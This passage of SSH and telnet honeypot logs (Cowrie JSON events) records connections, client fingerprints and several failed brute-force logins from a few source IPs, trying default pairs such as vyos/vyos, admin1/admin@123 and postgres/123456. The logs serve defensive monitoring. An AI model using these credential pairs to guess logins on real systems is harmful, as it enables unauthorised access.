rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.883450Z","src_ip":"192.109.200.78","session":"aef93605c4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:27.137419Z","src_ip":"192.109.200.78","session":"aef93605c4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin@123","message":"login attempt [admin1/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:27.989454Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:28.221642Z","src_ip":"192.109.200.78","session":"aef93605c4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abc123","message":"login attempt [admin1/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:29.121163Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abcd123","message":"login attempt [admin1/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:30.256546Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43192,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d2bb2a57a8","protocol":"ssh","message":"New connection: 192.109.200.78:43192 (10.17.0.5:22) [session: a0d2bb2a57a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:31.112096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:31.117031Z","src_ip":"192.109.200.78","session":"a0d2bb2a57a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:31.200417Z","src_ip":"192.109.200.78","session":"a0d2bb2a57a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abcd1234","message":"login attempt [admin1/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:31.389647Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:31.449121Z","src_ip":"192.109.200.78","session":"a0d2bb2a57a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.467607498168945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:31.458647Z","src_ip":"5.42.229.203","session":"bff303ffd630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.178473711013794,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:32.164349Z","src_ip":"5.42.229.203","session":"55ef8ae47f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:32.525581Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:32.535081Z","src_ip":"192.109.200.78","session":"a0d2bb2a57a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43206,"dst_ip":"10.17.0.5","dst_port":22,"session":"64fec8c7a054","protocol":"ssh","message":"New connection: 192.109.200.78:43206 (10.17.0.5:22) [session: 64fec8c7a054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:35.164921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:35.169410Z","src_ip":"192.109.200.78","session":"64fec8c7a054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:35.251451Z","src_ip":"192.109.200.78","session":"64fec8c7a054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:35.726249Z","src_ip":"192.109.200.78","session":"64fec8c7a054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:36.814316Z","src_ip":"192.109.200.78","session":"64fec8c7a054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39190864562988,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:38.101819Z","src_ip":"206.189.71.75","session":"59268a9e91ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42778,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba4f6298010","protocol":"ssh","message":"New connection: 192.109.200.78:42778 (10.17.0.5:22) [session: fba4f6298010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:39.471051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:39.475466Z","src_ip":"192.109.200.78","session":"fba4f6298010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:39.557594Z","src_ip":"192.109.200.78","session":"fba4f6298010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:39.805085Z","src_ip":"192.109.200.78","session":"fba4f6298010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.78762340545654,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:40.285071Z","src_ip":"206.189.71.75","session":"7992ecb4c4cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:40.891071Z","src_ip":"192.109.200.78","session":"fba4f6298010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42790,"dst_ip":"10.17.0.5","dst_port":22,"session":"b71a50bce587","protocol":"ssh","message":"New connection: 192.109.200.78:42790 (10.17.0.5:22) [session: b71a50bce587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:44.750303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:44.757058Z","src_ip":"192.109.200.78","session":"b71a50bce587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:44.841316Z","src_ip":"192.109.200.78","session":"b71a50bce587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:45.100620Z","src_ip":"192.109.200.78","session":"b71a50bce587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62357211112976,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:45.513273Z","src_ip":"206.189.71.75","session":"713215f48931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90035581588745,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:45.950528Z","src_ip":"206.189.71.75","session":"f3ab3854ddbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:46.192311Z","src_ip":"192.109.200.78","session":"b71a50bce587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba16430578fc","protocol":"ssh","message":"New connection: 192.109.200.78:42796 (10.17.0.5:22) [session: ba16430578fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:47.688556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:47.692912Z","src_ip":"192.109.200.78","session":"ba16430578fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:47.774794Z","src_ip":"192.109.200.78","session":"ba16430578fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:48.026103Z","src_ip":"192.109.200.78","session":"ba16430578fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:49.112000Z","src_ip":"192.109.200.78","session":"ba16430578fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36008,"dst_ip":"159.203.135.109","dst_port":22,"session":"26af8106b685","protocol":"ssh","message":"New connection: 159.203.92.129:36008 (159.203.135.109:22) [session: 26af8106b685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:49.218907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:49.252390Z","src_ip":"159.203.92.129","session":"26af8106b685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:49.260771Z","src_ip":"159.203.92.129","session":"26af8106b685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Huawei12#$","message":"login attempt [admin/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:49.573399Z","src_ip":"159.203.92.129","session":"26af8106b685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:50.581481Z","src_ip":"159.203.92.129","session":"26af8106b685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34186,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5916d3d9d03","protocol":"ssh","message":"New connection: 192.109.200.78:34186 (10.17.0.5:22) [session: f5916d3d9d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:51.809393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:51.814429Z","src_ip":"192.109.200.78","session":"f5916d3d9d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:51.900828Z","src_ip":"192.109.200.78","session":"f5916d3d9d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:52.432460Z","src_ip":"192.109.200.78","session":"f5916d3d9d03","protocol":"ssh"}
